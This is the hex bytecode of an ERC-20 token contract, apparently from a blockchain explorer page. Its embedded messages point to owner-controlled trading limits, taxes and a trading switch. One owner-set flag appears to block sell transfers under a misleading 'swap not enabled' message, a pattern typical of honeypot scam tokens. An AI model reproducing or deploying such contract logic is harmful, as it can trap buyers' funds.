0x6080604052600436106101b05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610496578063e2f45605146104dc578063f8b45b05146104f2578063f928364c1461050857600080fd5b8063a9059cbb14610440578063c024666814610460578063c8c8ebe41461048057600080fd5b806375f0a874116100c657806375f0a874146103d15780638a8c523c146103f85780638da5cb5b1461040d57806395d89b411461042b57600080fd5b80636ddd17131461036757806370a0823114610386578063715018a6146103bc57600080fd5b80632ae2f12111610159578063470624021161013357806347062402146102f757806349bd5a5e1461030d5780634a62bb651461032d5780634ada218b1461034d57600080fd5b80632ae2f121146102a55780632b14ca56146102c5578063313ce567146102db57600080fd5b806318160ddd1161018a57806318160ddd1461024f5780631ff8d5071461026e57806323b872dd1461028557600080fd5b806306fdde03146101bc578063095ea7b3146101e75780631694505e1461021757600080fd5b366101b757005b600080fd5b3480156101c857600080fd5b506101d161051d565b6040516101de9190611533565b60405180910390f35b3480156101f357600080fd5b506102076102023660046115a0565b6105af565b60405190151581526020016101de565b34801561022357600080fd5b50600654610237906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b34801561025b57600080fd5b506002545b6040519081526020016101de565b34801561027a57600080fd5b506102836105c7565b005b34801561029157600080fd5b506102076102a03660046115cc565b6105ec565b3480156102b157600080fd5b506102836102c036600461160d565b610610565b3480156102d157600080fd5b50610260600f5481565b3480156102e757600080fd5b50604051601281526020016101de565b34801561030357600080fd5b50610260600e5481565b34801561031957600080fd5b50600754610237906001600160a01b031681565b34801561033957600080fd5b506012546102079062010000900460ff1681565b34801561035957600080fd5b506012546102079060ff1681565b34801561037357600080fd5b5060125461020790610100900460ff1681565b34801561039257600080fd5b506102606103a136600461164b565b6001600160a01b031660009081526020819052604090205490565b3480156103c857600080fd5b50610283610643565b3480156103dd57600080fd5b5060125461023790630100000090046001600160a01b031681565b34801561040457600080fd5b50610283610657565b34801561041957600080fd5b506005546001600160a01b0316610237565b34801561043757600080fd5b506101d16106c6565b34801561044c57600080fd5b5061020761045b3660046115a0565b6106d5565b34801561046c57600080fd5b5061028361047b36600461160d565b6106e3565b34801561048c57600080fd5b5061026060105481565b3480156104a257600080fd5b506102606104b1366004611668565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50610260600d5481565b3480156104fe57600080fd5b5061026060115481565b34801561051457600080fd5b50610283610716565b60606003805461052c90611696565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611696565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b6000336105bd8185856107a8565b5060019392505050565b6105cf6108cc565b6012805461ff001981166101009182900460ff1615909102179055565b6000336105fa858285610926565b6106058585856109b8565b506001949350505050565b6106186108cc565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61064b6108cc565b6106556000611135565b565b61065f6108cc565b60125460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6012805460ff19166001179055565b60606004805461052c90611696565b6000336105bd8185856109b8565b6106eb6108cc565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b61071e6108cc565b60125462010000900460ff16151560011461077b5760405162461bcd60e51b815260206004820152601c60248201527f546865206c696d69747320686173206265656e2072656d6f7665642e0000000060448201526064016106ae565b6012805462ff000019169055565b600061079582846116e6565b9392505050565b60006107958284611705565b6001600160a01b03831661080a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ae565b6001600160a01b03821661086b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ae565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146106555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106ae565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146109b257818110156109a55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106ae565b6109b284848484036107a8565b50505050565b6001600160a01b038316610a1d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b60648201526084016106ae565b61deac196001600160a01b03831601610a845760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b60648201526084016106ae565b60008111610afa5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f2e00000000000000000000000000000060648201526084016106ae565b6005546001600160a01b03848116911614801590610b2657506005546001600160a01b03838116911614155b8015610b3a57506001600160a01b03821615155b8015610b5157506001600160a01b03821661dead14155b8015610b605750600a5460ff16155b15610eda5760125460ff16610bfa576001600160a01b0383166000908152600b602052604090205460ff1680610bae57506001600160a01b0382166000908152600b602052604090205460ff165b610bfa5760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e0000000000000000000060448201526064016106ae565b60125462010000900460ff1615610eda576001600160a01b03831660009081526013602052604090205460ff168015610c4c57506001600160a01b0382166000908152600c602052604090205460ff16155b15610d3957601054811115610cc95760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e00000000000000000060648201526084016106ae565b6011546001600160a01b038316600090815260208190526040902054610cef9083611727565b1115610d345760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016106ae565b610eda565b6001600160a01b03821660009081526013602052604090205460ff168015610d7a57506001600160a01b0383166000908152600c602052604090205460ff16155b15610e4f57601054811115610df75760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e000000000000000060648201526084016106ae565b601254610100900460ff1615610d345760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e00000000000060448201526064016106ae565b6001600160a01b0382166000908152600c602052604090205460ff16610eda576011546001600160a01b038316600090815260208190526040902054610e959083611727565b1115610eda5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016106ae565b600d5430600090815260208190526040902054108015908190610f045750601254610100900460ff165b8015610f135750600a5460ff16155b8015610f3857506001600160a01b03841660009081526013602052604090205460ff16155b8015610f5d57506001600160a01b0384166000908152600b602052604090205460ff16155b8015610f8257506001600160a01b0383166000908152600b602052604090205460ff16155b15610fa957600a805460ff19166001179055610f9e6000611194565b600a805460ff191690555b600a546001600160a01b0385166000908152600b602052604090205460ff91821615911680610ff057506001600160a01b0384166000908152600b602052604090205460ff165b15610ff9575060005b60008115611122576001600160a01b03851660009081526013602052604090205460ff168061104057506001600160a01b03861660009081526013602052604090205460ff165b1561106857611065606461105f600e548761078990919063ffffffff16565b9061079c565b90505b6001600160a01b03851660009081526013602052604090205460ff16801561109257506000600e54115b156110b8576110b1606461105f600e548761078990919063ffffffff16565b9050611104565b6001600160a01b03861660009081526013602052604090205460ff1680156110e257506000600f54115b1561110457611101606461105f600f548761078990919063ffffffff16565b90505b80156111155761111586308361123d565b61111f818561173f565b93505b61112d86868661123d565b505050505050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054908181036111b157505050565b821580156111cb5750600d546111c89060146116e6565b82115b156111e157600d546111de9060146116e6565b91505b6111ea826113e1565b60125460405163010000009091046001600160a01b0316904790600081818185875af1925050503d806000811461112d576040519150601f19603f3d011682016040523d82523d6000602084013e61112d565b6001600160a01b0383166112a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ae565b6001600160a01b0382166113035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ae565b6001600160a01b0383166000908152602081905260409020548181101561137b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106ae565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109b2565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141657611416611756565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611493919061176c565b816001815181106114a6576114a6611756565b6001600160a01b0392831660209182029290920101526006546114cc91309116846107a8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611505908590600090869030904290600401611789565b600060405180830381600087803b15801561151f57600080fd5b505af115801561112d573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561156057858101830151858201604001528201611544565b81811115611572576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461159d57600080fd5b50565b600080604083850312156115b357600080fd5b82356115be81611588565b946020939093013593505050565b6000806000606084860312156115e157600080fd5b83356115ec81611588565b925060208401356115fc81611588565b929592945050506040919091013590565b6000806040838503121561162057600080fd5b823561162b81611588565b91506020830135801515811461164057600080fd5b809150509250929050565b60006020828403121561165d57600080fd5b813561079581611588565b6000806040838503121561167b57600080fd5b823561168681611588565b9150602083013561164081611588565b600181811c908216806116aa57607f821691505b6020821081036116ca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611700576117006116d0565b500290565b60008261172257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561173a5761173a6116d0565b500190565b600082821015611751576117516116d0565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561177e57600080fd5b815161079581611588565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117d95784516001600160a01b0316835293830193918301916001016117b4565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cb6002860015de42edbfcf5be882079ebb126b5102d1aa577f271b57adb5d3d364736f6c634300080f0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.